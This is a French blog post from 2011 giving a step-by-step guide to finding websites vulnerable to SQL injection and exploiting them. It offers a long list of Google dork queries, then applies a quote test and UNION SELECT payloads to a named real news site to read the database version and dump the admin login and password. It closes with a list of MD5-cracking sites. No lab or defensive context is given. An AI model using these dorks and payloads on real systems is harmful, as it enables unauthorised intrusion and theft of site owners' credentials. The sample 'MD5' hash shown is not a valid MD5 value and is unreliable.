jeudi 23 juin 2011

Injections SQL

Trouver et Exploiter des Injections SQL

Trouver et Exploiter des Injections SQL
Google est notre meilleur ami ! nous allons nous en servir pour trouver des failles de type Injection SQL. une Injection SQL, c’est un type d’exploitation de faille sur un système interagissant avec une base de données, en injectant une requête pour par exemple, récupérer les logins de la BDD.
Maintenant, nous allons utiliser Google pour trouver des sites vulnérables aux injections SQL. Pour se faire, cherchez sur google une des lignes ci-dessous :
inurl:aboutbook.php?id=
inurl:age.php?file=
inurl:age.php?id=
inurl:ageid=
inurl:ages.php?id=
inurl:announce.php?id=
inurl:art.php?idm=
inurl:articipant.php?id=
inurl:article.php?ID=
inurl:artikelinfo.php?id=
inurl:avd_start.php?avd=
inurl:band_info.php?id=
inurl:buy.php?category=
inurl:category.php?id=
inurl:channel_id=
inurl:chappies.php?id=
inurl:clanek.php4?id=
inurl:clubpage.php?id=
inurl:collectionitem.php?id=
inurl:communique_detail.php?id=
inurl:curriculum.php?id=
inurl:declaration_more.php?decl_id=
inurl:detail.php?ID=
inurl:download.php?id=
inurl:downloads_info.php?id=
inurl:erson.php?id=
inurl:event.php?id=
inurl:faq2.php?id=
inurl:fellows.php?id=
inurl:ffer.php?idf=
inurl:fiche_spectacle.php?id=
inurl:forum_bds.php?num=
inurl:galeri_info.php?l=
inurl:gallery.php?id=
inurl:game.php?id=
inurl:games.php?id=
inurl:historialeer.php?num=
inurl:hosting_info.php?id=
inurl:humor.php?id=
inurl:index.php?=
inurl:index.php?id=
inurl:index2.php?option=
inurl:iniziativa.php?in=
inurl:item_id=
inurl:kategorie.php4?id=
inurl:labels.php?id=
inurl:lay_old.php?id=
inurl:loadpsb.php?id=
inurl:look.php?ID=
inurl:main.php?id=
inurl:material.php?id=
inurl:memberInfo.php?id=
inurl:news.php?id=
inurl:news_display.php?getid=
inurl:news_view.php?id=
inurl:newscat.php?id=
inurl:newsDetail.php?id=
inurl:news-full.php?id=
inurl:newsid=
inurl:newsitem.php?num=
inurl:newsone.php?id=
inurl:newsticker_info.php?idn=
inurl:offer.php?idf=
inurl:op.php?id=
inurl:opinions.php?id=
inurl:ost.php?id=
inurl:page.php?file=
inurl:page.php?id=
inurl:Pageid=
inurl:pages.php?id=
inurl:participant.php?id=
inurl:person.php?id=
inurl:pinions.php?id=
inurl:play_old.php?id=
inurl:pop.php?id=
inurl:post.php?id=
inurl:preview.php?id=
inurl:prod_detail.php?id=
inurl:prod_info.php?id=
inurl:product.php?id=
inurl:product_ranges_view.php?ID=
inurl:productdetail.php?id=
inurl:productinfo.php?id=
inurl:product-item.php?id=
inurl:produit.php?id=
inurl:profile_view.php?id=
inurl:publications.php?id=
inurl:ray.php?id=
inurl:read.php?id=
inurl:readnews.php?id=
inurl:reagir.php?num=
inurl:releases.php?id=
inurl:review.php?id=
inurl:rod_info.php?id=
inurl:roduct.php?id=
inurl:roduct_ranges_view.php?ID=
inurl:roductdetail.php?id=
inurl:roductinfo.php?id=
inurl:roduct-item.php?id=
inurl:roduit.php?id=
inurl:rofile_view.php?id=
inurl:rub.php?idr=
inurl:rubp.php?idr=
inurl:rubrika.php?idr=
inurl:section.php?id=
inurl:select_biblio.php?id=
inurl:sem.php3?id=
inurl:shop.php?do=part&id=
inurl:shop_category.php?id=
inurl:shopping.php?id=
inurl:show.php?id=
inurl:show_an.php?id=
inurl:showimg.php?id=
inurl:shredder-categories.php?id=
inurl:spr.php?id=
inurl:sql.php?id=
inurl:staff_id=
inurl:story.php?id=
inurl:sw_comment.php?id=
inurl:tekst.php?idt=
inurl:theme.php?id=
inurl:title.php?id=
inurl:top10.php?cat=
inurl:tradeCategory.php?id=
inurl:trainers.php?id=
inurl:transcript.php?id=
inurl:tray-Questions-View.php?num=
inurl:ublications.php?id=
inurl:view.php?id=
inurl:view_faq.php?id=
inurl:view_product.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:viewshowdetail.php?id=
inurl:website.php?id=
inurlrod_detail.php?id=
inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()

Savoir si le site est vulnérable à la faille

Voici un exemple :
Ajoutez un ‘ (quote) apres l’ID
http://www.nessma.tv/news.php?id=145'
Si vous obtenez ceci :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
c’est que le site est vulnérable à la faille ! Sinon, le site est sécurisé :-)
Voilà, maintenant que nous avons trouvé notre site avec la faille, nous allons faire quelques opérations avec.

Trouver la version de SQL
http://www.nessma.tv/news.php?id=145 union all select 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15
Ici, 4,5,6,7,8,9,10,11,12,13,14,15 sont les champs vulnérables

Trouver le login/mot de passe de l’admin

Voici le but de cet exploit ! trouver les logins !
http://www.nessma.tv/news.php?id=145 union all select 1,2,group_concat(ru_Admin_Username,0x3a,ru_Admin_Password),4,5,6,7,8,9,10,11,12, ​​ ​13,14,15 from ru_Admin--
Nous allons trouver des résultats de ce genre :
admin:admRIvuxHahkQ
le mot de passe est crypté en MD5 comme vous pouvez le voir, nous allons donc le décrypter avec des rainbow-tables :
www.rednoize.com  – 50 709 274 hash
www.md5oogle.com – 6 353 625 hash
www.hashmash.com – 1,611,191 hash
www.gdataonline.com 1,155,613 hash
www.md5decryption.com – 872,145 hash
www.md5decrypter.com – 583,441 hash
www.md5decrypter.co.uk – 41,568,541 hash
www.macrosoftware.ro – 5,403 hash
www.md5-db.com – Inconnu
 

Aucun commentaire:

Enregistrer un commentaire